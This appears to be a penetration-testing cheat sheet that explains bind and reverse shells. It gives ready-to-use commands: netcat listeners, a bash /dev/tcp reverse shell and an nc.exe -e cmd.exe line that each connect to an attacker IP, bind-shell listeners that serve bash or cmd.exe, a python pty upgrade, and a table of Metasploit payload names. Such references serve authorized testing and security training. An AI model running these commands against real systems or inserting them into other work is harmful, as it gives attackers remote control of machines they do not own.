Bind shells and reverse shells

The difference between shell connection types matters when firewalls are involved. A reverse shell has the target call out to you and is the most common scenario as outbound traffic is almost always permitted. A bind shell has you connect to a listener on the target. This requires inbound connectivity to the target, which is much less common and likely blocked by most firewall default configurations.

Reverse shell

# Attacker sets up a listener in port 4444
nc -nvlp 4444

# Linux target sends a connection to the attacker
bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1

# Windows target
nc.exe -nv <attacker_ip> 4444 -e cmd.exe

Bind shell

# Linux target waits for the attacker's connection
nc -nvlp 4444 -c /bin/bash

# Windows target waits for the attacker's connection
nc.exe -nvlp 4444 -e cmd.exe

# The attacker connects to the listener
nc -nv <target_ip> 4444

Spawning a proper interactive shell once you’re in

python3 -c 'import pty; pty.spawn("/bin/bash")'   # full PTY
/bin/bash -i                                        # interactive bash

Metasploit payload naming convention

Payload	Meaning
windows/x64/meterpreter/reverse_tcp	staged reverse TCP, 64-bit Windows
windows/meterpreter/bind_tcp	staged bind TCP, 32-bit Windows
linux/x64/meterpreter/reverse_tcp	staged reverse TCP, 64-bit Linux

Related

• Netcat: the TCP/IP swiss-army knife: the tool behind every command above
• Upgrading a shell session to Meterpreter: the natural next step once you land either shell type
• Pivoting: reach isolated subnets through a compromised host: where bind_tcp payloads become the only option
• msfvenom: generating & encoding payloads: generates the standalone payloads referenced in the naming table